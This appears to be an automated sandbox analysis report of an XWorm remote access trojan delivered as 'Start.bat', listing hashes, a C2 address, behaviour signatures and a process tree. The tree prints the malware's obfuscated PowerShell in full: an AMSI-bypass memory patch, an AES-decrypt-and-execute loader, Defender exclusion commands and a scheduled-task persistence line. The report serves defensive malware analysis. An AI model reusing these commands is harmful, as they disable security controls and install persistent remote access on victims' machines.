Resubmissions

08-11-2024 01:30

241108-bw3dmascml 10

08-11-2024 01:28

241108-bvq9za1ncx 10

Analysis

  • max time kernel
    17s
  • max time network
    27s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08-11-2024 01:30

General

  • Target

    Start.bat

  • Size

    492KB

  • MD5

    334e5ed791deb37c6838e954fda616d9

  • SHA1

    45519a533eedb9a5489b219069725ee884d6a662

  • SHA256

    996e11e2c1ddbb5a16743fafa288e5f554cf31a295b5ff8e705af30fb690ef31

  • SHA512

    88bdeb6930b66a1b86264519441207c81955183dfb5ba58705aaf9fbc2fe258dc8f13b23424596d711090380834a1354a549443d08c31b925b7a0ee9204818fc

  • SSDEEP

    12288:TV1R5Ja3/QZfusZK3VX+1VbQLGwCvn0YGZdRksyp:jtoQ5ZGpIDwCvn0YQRkvp

Malware Config

Extracted

Family

xworm

C2

here-thinking.gl.at.ply.gg:50161

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    WindowsSecurity.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 41 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:640
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:484
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{66be347e-8d54-4fbb-9b2f-8956ccc489ae}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:388
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:700
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:1008
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:880
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1064
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1144
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1168
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1208
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1216
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gTQTIFtxQoXx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MkHukpnCaoDoVz,[Parameter(Position=1)][Type]$tpAKEBZTJB)$HLchaPeUhJZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'e'+[Char](109)+''+'o'+'ryM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+'l'+''+[Char](101)+'ga'+'t'+'e'+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$HLchaPeUhJZ.DefineConstructor('R'+[Char](84)+''+'S'+''+'p'+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+'i'+'g'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$MkHukpnCaoDoVz).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$HLchaPeUhJZ.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+'e',''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+',H'+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+'i'+'g'+''+[Char](44)+''+'N'+'ewS'+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+'rt'+[Char](117)+''+'a'+''+[Char](108)+'',$tpAKEBZTJB,$MkHukpnCaoDoVz).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'im'+'e'+''+[Char](44)+''+[Char](77)+''+'a'+'n'+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $HLchaPeUhJZ.CreateType();}$vpxiUrkkLqNCE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+'oft.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+'M'+''+[Char](101)+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$xOPuUYDAzrLdGX=$vpxiUrkkLqNCE.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'t'+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jcmHokzsfPTIdCiOefm=gTQTIFtxQoXx @([String])([IntPtr]);$eWcETmZnXjxeUINPBofDac=gTQTIFtxQoXx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ntygpIqoDSc=$vpxiUrkkLqNCE.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+'H'+'a'+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+'l'+[Char](108)+'')));$IeMcuzjkebOrVU=$xOPuUYDAzrLdGX.Invoke($Null,@([Object]$ntygpIqoDSc,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+'r'+'a'+'ryA')));$PXPkbUxuvJSrMUQVx=$xOPuUYDAzrLdGX.Invoke($Null,@([Object]$ntygpIqoDSc,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'tect')));$GfOzpOl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IeMcuzjkebOrVU,$jcmHokzsfPTIdCiOefm).Invoke('a'+'m'+''+[Char](115)+'i'+'.'+''+'d'+''+'l'+''+[Char](108)+'');$GvLQUnTzmMCRaqrDZ=$xOPuUYDAzrLdGX.Invoke($Null,@([Object]$GfOzpOl,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$XwIeCKTSZD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PXPkbUxuvJSrMUQVx,$eWcETmZnXjxeUINPBofDac).Invoke($GvLQUnTzmMCRaqrDZ,[uint32]8,4,[ref]$XwIeCKTSZD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GvLQUnTzmMCRaqrDZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PXPkbUxuvJSrMUQVx,$eWcETmZnXjxeUINPBofDac).Invoke($GvLQUnTzmMCRaqrDZ,[uint32]8,0x20,[ref]$XwIeCKTSZD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:5024
                      • C:\Users\Admin\AppData\Local\WindowsSecurity.exe
                        C:\Users\Admin\AppData\Local\WindowsSecurity.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:968
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:2476
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1288
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                          1⤵
                            PID:1308
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1332
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1428
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:3060
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1608
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1640
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1672
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1680
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1772
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1820
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                              1⤵
                                                PID:1832
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1920
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1996
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:2012
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1988
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2080
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2228
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2304
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p
                                                              1⤵
                                                                PID:2384
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2408
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2424
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                    1⤵
                                                                      PID:2468
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2492
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2552
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2576
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2584
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2592
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2704
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:3084
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:3328
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1320
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:3588
                                                                                    • C:\Windows\system32\net.exe
                                                                                      net file
                                                                                      3⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1688
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 file
                                                                                        4⤵
                                                                                          PID:1092
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6Qr7qHDKJjMpmgIjSPfD44cTPtNyBSLGu8hDw8CfoaU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g7PbVoDhe/kTO9wMHyLfTA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lnXbU=New-Object System.IO.MemoryStream(,$param_var); $serAy=New-Object System.IO.MemoryStream; $mBSQd=New-Object System.IO.Compression.GZipStream($lnXbU, [IO.Compression.CompressionMode]::Decompress); $mBSQd.CopyTo($serAy); $mBSQd.Dispose(); $lnXbU.Dispose(); $serAy.Dispose(); $serAy.ToArray();}function execute_function($param_var,$param2_var){ $DMigp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vmAAk=$DMigp.EntryPoint; $vmAAk.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Start.bat';$sKPoD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Start.bat').Split([Environment]::NewLine);foreach ($cbgZM in $sKPoD) { if ($cbgZM.StartsWith(':: ')) { $HzSkD=$cbgZM.Substring(3); break; }}$payloads_var=[string[]]$HzSkD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                        3⤵
                                                                                        • Blocklisted process makes network request
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Drops startup file
                                                                                        • Adds Run key to start application
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3740
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:1372
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                          4⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1412
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:3036
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:2528
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              5⤵
                                                                                                PID:2008
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsSecurity.exe'
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:2164
                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                5⤵
                                                                                                  PID:2784
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
                                                                                                4⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4980
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:4696
                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity.exe"
                                                                                                  4⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:4460
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    5⤵
                                                                                                      PID:4536
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3448
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                1⤵
                                                                                                  PID:3504
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:3880
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:3948
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4024
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                        1⤵
                                                                                                          PID:4064
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                          1⤵
                                                                                                            PID:4316
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                            1⤵
                                                                                                              PID:4448
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                              1⤵
                                                                                                                PID:2196
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                1⤵
                                                                                                                  PID:4832
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                  1⤵
                                                                                                                    PID:1708
                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                    1⤵
                                                                                                                      PID:1400
                                                                                                                    • C:\Windows\system32\SppExtComObj.exe
                                                                                                                      C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:3896
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                        1⤵
                                                                                                                          PID:3040
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                          1⤵
                                                                                                                            PID:3464
                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                            1⤵
                                                                                                                              PID:5076
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                              1⤵
                                                                                                                                PID:4612
                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:1632
                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                  1⤵
                                                                                                                                    PID:2028
                                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                    1⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:2668

                                                                                                                                  Network

                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    627073ee3ca9676911bee35548eff2b8

                                                                                                                                    SHA1

                                                                                                                                    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                                    SHA256

                                                                                                                                    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                                    SHA512

                                                                                                                                    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    944B

                                                                                                                                    MD5

                                                                                                                                    d0a4a3b9a52b8fe3b019f6cd0ef3dad6

                                                                                                                                    SHA1

                                                                                                                                    fed70ce7834c3b97edbd078eccda1e5effa527cd

                                                                                                                                    SHA256

                                                                                                                                    21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

                                                                                                                                    SHA512

                                                                                                                                    1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    944B

                                                                                                                                    MD5

                                                                                                                                    4914eb0b2ff51bfa48484b5cc8454218

                                                                                                                                    SHA1

                                                                                                                                    6a7c3e36ce53b42497884d4c4a3bda438dd4374b

                                                                                                                                    SHA256

